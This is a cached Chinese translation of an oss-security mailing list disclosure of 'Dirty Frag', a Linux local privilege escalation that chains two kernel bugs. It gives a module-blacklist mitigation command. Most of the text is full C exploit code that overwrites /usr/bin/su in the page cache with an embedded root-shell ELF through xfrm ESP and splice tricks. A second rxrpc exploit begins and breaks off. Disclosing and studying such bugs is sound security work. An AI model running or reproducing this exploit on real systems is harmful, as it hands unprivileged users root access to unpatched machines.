Dirtyfrag:通用 Linux 本地权限提升漏洞
摘要
一份名为“Dirty Frag”的报告详细描述了一种通用的 Linux 本地权限提升(LPE)漏洞。该漏洞通过串联两个内核错误,可在主要发行版上获取 root 访问权限。披露信息指出,由于保密期失效,目前尚无针对此关键安全问题的补丁。
暂无内容
查看缓存全文
缓存时间: 2026/05/08 08:23
# security - Dirty Frag:通用 Linux 本地提权漏洞 来源:https://www.openwall.com/lists/oss-security/2026/05/07/8 Openwall (https://www.openwall.com/)- 产品 (https://www.openwall.com/)- Openwall GNU/\*/Linux*服务器操作系统* (https://www.openwall.com/Owl/) - Linux Kernel Runtime Guard (https://www.openwall.com/lkrg/) - John the Ripper*密码破解工具* (https://www.openwall.com/john/)- 免费且开源,支持任意平台 (https://www.openwall.com/john/) - 云端服务 (https://www.openwall.com/john/cloud/) - Pro for Linux (https://www.openwall.com/john/pro/linux/) - Pro for macOS (https://www.openwall.com/john/pro/macosx/) - 密码字典*用于密码破解* (https://www.openwall.com/wordlists/) - passwdqc*密码策略执行* (https://www.openwall.com/passwdqc/)- 免费且开源,支持 Unix (https://www.openwall.com/passwdqc/) - Pro for Windows \(Active Directory\) (https://www.openwall.com/passwdqc/windows/) - yescrypt*KDF 与密码哈希* (https://www.openwall.com/yescrypt/) - yespower*工作量证明 \(PoW\)* (https://www.openwall.com/yespower/) - crypt\_blowfish*密码哈希* (https://www.openwall.com/crypt/) - phpass*PHP 版本* (https://www.openwall.com/phpass/) - tcb*更优的密码影子文件管理* (https://www.openwall.com/tcb/) - 可插拔认证模块 (https://www.openwall.com/pam/) - scanlogd*端口扫描检测器* (https://www.openwall.com/scanlogd/) - popa3d*轻量级 POP3 守护进程* (https://www.openwall.com/popa3d/) - blists*邮件列表 Web 界面* (https://www.openwall.com/blists/) - msulogin*单用户模式登录* (https://www.openwall.com/msulogin/) - php\_mt\_seed*mt\_rand\(\) 破解器* (https://www.openwall.com/php_mt_seed/) - 服务 (https://www.openwall.com/services/) - 出版物- 文章 (https://www.openwall.com/articles/) - 演示文稿 (https://www.openwall.com/presentations/) - 资源- 邮件列表 (https://www.openwall.com/lists/) - 社区 Wiki (https://openwall.info/wiki/) - 源代码仓库 \(GitHub\) (https://github.com/openwall) - 文件归档与镜像 (https://www.openwall.com/mirrors/) - 如何验证数字签名 (https://www.openwall.com/signatures/) - OVE IDs (https://www.openwall.com/ove/) - 最新动态 (https://www.openwall.com/news) [\[\]](https://www.openwall.com/lists/oss-security/2026/05/07/9)[\[thread-next\>\]](https://www.openwall.com/lists/oss-security/2026/05/07/10)[\[day\]](https://www.openwall.com/lists/oss-security/2026/05/07/)[\[month\]](https://www.openwall.com/lists/oss-security/2026/05/)[\[year\]](https://www.openwall.com/lists/oss-security/2026/)[\[list\]](https://www.openwall.com/lists/oss-security/)`` Message-ID: Date: Fri, 8 May 2026 03:56:11 +0900 From: Hyunwoo Kim To: [email protected] Cc: [email protected] Subject: Dirty Frag: 通用 Linux LPE Hi, 这是一份关于 "Dirty Frag" 的报告,这是一种通用的本地提权漏洞(LPE),允许在所有主要 Linux 发行版上获取 root 权限。该漏洞的影响与之前的 Copy Fail 漏洞相似。由于禁言期(embargo)已被打破,目前没有任何补丁或 CVE 编号针对这些漏洞。在与 [email protected] 维护者协商,并应维护者要求之后,我在此公开发布这份 Dirty Frag 文档。正如之前的 Copy Fail 漏洞一样,Dirty Frag 同样允许在所有主要发行版上立即进行 root 权限提升,并且它利用了两个独立的漏洞进行组合攻击: - https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4 - https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/ 由于负责任的披露时间表和禁言期已被破坏,没有任何发行版存在补丁。请使用以下命令移除包含漏洞的模块: `` sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true" `` 有关这些漏洞以及禁言期被打破原因的详细技术信息,请查阅 https://dirtyfrag.io。 完整利用代码: ``c #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef UDP_ENCAP #define UDP_ENCAP 100 #endif #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #ifndef SOL_UDP #define SOL_UDP 17 #endif #define ENC_PORT 4500 #define SEQ_VAL 200 #define REPLAY_SEQ 100 #define TARGET_PATH "/usr/bin/su" #define PATCH_OFFSET 0 /* 从 file[0] 开始覆盖整个 ELF */ #define PAYLOAD_LEN 192 /* 写入 shell_elf 的字节数(触发器为 48) */ #define ENTRY_OFFSET 0x78 /* 新 ELF 内部 shellcode 入口偏移 */ /* * 192 字节的极简 x86_64 root-shell ELF。 * _start 位于 0x400078: * setgid(0); setuid(0); setgroups(0, NULL); * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); * PT_LOAD 覆盖 0xb8 字节(实际内容),位于 vaddr 0x400000,权限为 R+X。 * * 在新 shell 的环境变量中设置 TERM 可以消除 * 当 TERM 未设置时 /etc/bash.bashrc 等文件发出的 * "tput: No value for $TERM" / "test: : integer expected" 噪声。 * * 代码(从偏移量 0x78 开始): * 31 ff xor edi, edi * 31 f6 xor esi, esi * 31 c0 xor eax, eax * b0 6a mov al, 0x6a ; setgid * 0f 05 syscall * b0 69 mov al, 0x69 ; setuid * 0f 05 syscall * b0 74 mov al, 0x74 ; setgroups * 0f 05 syscall * 6a 00 push 0 ; envp[1] = NULL * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" * 50 push rax ; envp[0] * 48 89 e2 mov rdx, rsp ; rdx = envp * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" * 31 f6 xor esi, esi ; rsi = NULL (argv) * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) * 0f 05 syscall ; execve("/bin/sh",NULL,envp) * "TERM=xterm\0" (偏移量 0xa5..0xaf) * "/bin/sh\0" (偏移量 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0) static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; } static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); } static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); } static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; } char buf[4096] = {0}; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_pid = getpid(); nlh->nlmsg_seq = 1; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs->id.daddr.a4 = inet_addr("127.0.0.1"); xs->id.spi = htonl(spi); xs->id.proto = IPPROTO_ESP; xs->saddr.a4 = inet_addr("127.0.0.1"); xs->family = AF_INET; xs->mode = XFRM_MODE_TRANSPORT; xs->replay_window = 0; xs->reqid = 0x1234; xs->flags = XFRM_STATE_ESN; xs->lft.soft_byte_limit = (uint64_t)-1; xs->lft.hard_byte_limit = (uint64_t)-1; xs->lft.soft_packet_limit = (uint64_t)-1; xs->lft.hard_packet_limit = (uint64_t)-1; xs->sel.family = AF_INET; xs->sel.prefixlen_d = 32; xs->sel.prefixlen_s = 32; xs->sel.daddr.a4 = inet_addr("127.0.0.1"); xs->sel.saddr.a4 = inet_addr("127.0.0.1"); { char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1); aa->alg_key_len = 32 * 8; aa->alg_trunc_len = 128; memset(aa->alg_key, 0xAA, 32); put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); } { char alg_buf[sizeof(struct xfrm_algo) + 16]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1); ea->alg_key_len = 16 * 8; memset(ea->alg_key, 0xBB, 16); put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); } { struct xfrm_encap_tmpl enc; memset(&enc, 0, sizeof(enc)); enc.encap_type = UDP_ENCAP_ESPINUDP; enc.encap_sport = htons(ENC_PORT); enc.encap_dport = htons(ENC_PORT); enc.encap_oa.a4 = 0; put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); } { char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; memset(esn_buf, 0, sizeof(esn_buf)); struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; esn->bmp_len = 1; esn->oseq = 0; esn->seq = REPLAY_SEQ; esn->oseq_hi = 0; esn->seq_hi = patch_seqhi; esn->replay_window = 32; put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); } if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } char rbuf[4096]; int n = recv(sk, rbuf, sizeof(rbuf), 0); if (n < 0) { close(sk); return -1; } struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; if (rh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(rh); if (e->error) { close(sk); return -1; } } close(sk); return 0; } static int do_one_write(const char *path, off_t offset, uint32_t spi) { int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); if (sk_recv < 0) return -1; int one = 1; setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); struct sockaddr_in sa_d = { .sin_family = AF_INET, .sin_port = htons(ENC_PORT), .sin_addr = { inet_addr("127.0.0.1") }, }; if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_recv); return -1; } int encap = UDP_ENCAP_ESPINUDP; if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { close(sk_recv); return -1; } int sk_send = socket(AF_INET, SOCK_DGRAM, 0); if (sk_send < 0) { close(sk_recv); return -1; } if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { close(sk_send); close(sk_recv); return -1; } int file_fd = open(path, O_RDONLY); if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; } int pfd[2]; if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; } uint8_t hdr[24]; *(uint32_t*)(hdr + 0) = htonl(spi); *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); memset(hdr + 8, 0xCC, 16); struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } off_t off = offset; ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); if (s != 16) { close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; } s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); /* 无论 splice 返回值如何都继续 —— 内核可能已经在 splice 和 recv 之间的时间内 * 解密了该页 */ usleep(150 * 1000); close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return s == 40 ? 0 : -1; } static int verify_byte(const char *path, off_t offset, uint8_t want) { int fd = open(path, O_RDONLY); if (fd < 0) return -1; uint8_t got; if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; } close(fd); return got == want ? 0 : -1; } static int corrupt_su(void) { setup_userns_netns(); usleep(100 * 1000); /* 安装 40 个 xfrm SA,每个 4 字节块一个。每个在其 seq_hi 字段中 * 携带所需的负载字。 */ for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; uint32_t seqhi = ((uint32_t)shell_elf[i*4 + 0] << 24) | ((uint32_t)shell_elf[i*4 + 1] << 16) | ((uint32_t)shell_elf[i*4 + 2] << 8) | ((uint32_t)shell_elf[i*4 + 3]); if (add_xfrm_sa(spi, seqhi) < 0) { SLOG("add_xfrm_sa #%d failed", i); return -1; } } SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4); for (int i = 0; i < PAYLOAD_LEN / 4; i++) { uint32_t spi = 0xDEADBE10 + i; off_t off = PATCH_OFFSET + i * 4; if (do_one_write(TARGET_PATH, off, spi) < 0) { SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off); return -1; } } SLOG("wrote %d bytes to %s starting at 0x%x", PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET); return 0; } int su_lpe_main(int argc, char **argv) { for (int i = 1; i < argc; i++) { if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) g_su_verbose = 1; else if (!strcmp(argv[i], "--corrupt-only")) ; /* 兼容:此主体始终仅进行破坏 */ } if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1; pid_t cpid = fork(); if (cpid < 0) return 1; if (cpid == 0) { int rc = corrupt_su(); _exit(rc == 0 ? 0 : 2); } int cstatus; waitpid(cpid, &cstatus, 0); if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) { SLOG("corruption stage failed (status=0x%x)", cstatus); return 1; } /* 健全性检查:嵌入的 ELF 入口处的字节(在我们覆盖后的文件偏移量 0x78 * 处)应为 0x31 0xff(新 shellcode 的第一条指令:xor edi, edi)。 */ if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { SLOG("post-write verify failed (target unchanged)"); return 1; } SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)", ENTRY_OFFSET); return 0; } /* * rxrpc/rxkad LPE — uid=1000 → root */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef AF_RXRPC #define AF_RXRPC 33 #endif #ifndef PF_RXRPC #define PF_RXRPC AF_RXRPC #endif #ifndef SOL_RXRPC #define SOL_RXRPC 272 #endif #ifndef SOL_ALG #define SOL_ALG 279 #endif #ifndef AF_ALG #define AF_ALG 38 #endif #ifndef MSG_SPLICE_PAGES #define MSG_SPLICE_PAGES 0x8000000 #endif /* ---- rxrpc 常量 ---- */ #define RXRPC_PACKET_TYPE_DATA 1 #define RXRPC_PACKET_TYPE_ACK 2 #define RXRPC_PACK
相似文章
四个Linux本地root漏洞:DirtyAH6、PPPoEject、TUNderflow和DiagSpill
四个长期存在的Linux内核漏洞—DirtyAH6、PPPoEject、TUNderflow和DiagSpill—被披露,允许本地提权并具有潜在远程影响,且修复已在稳定内核版本中发布。
Fragnesia:新的Linux权限提升漏洞利用
一个名为Fragnesia的新的Linux权限提升漏洞利用已在GitHub上发布,并附有概念验证代码。
Linux漏洞、禁运失效与补丁窗口缩短
一份关于2026年5月发现的三个严重Linux本地权限提升漏洞的报告,强调了披露模型的崩溃及其对生产环境的影响。
ipv6_frag_escape: Linux 本地提权 - 可靠的容器/沙盒逃逸
针对 Linux 本地提权和容器/沙盒逃逸的概念验证,利用内核中的 IPv6 分片漏洞,目标是 CentOS/RHEL 10。
CVE-2026-45257:通过kTLS-RX在FreeBSD中的本地权限提升
FreeBSD中存在一个严重的本地权限提升漏洞(CVE-2026-45257),允许无特权用户将任意数据写入任何可读文件的页面缓存,绕过文件权限和标志,最终导致完全获取root权限。该漏洞影响FreeBSD 13.0及更高版本的默认安装,通过sendfile、KTLS和内核内AES-GCM解密的不安全组合实现。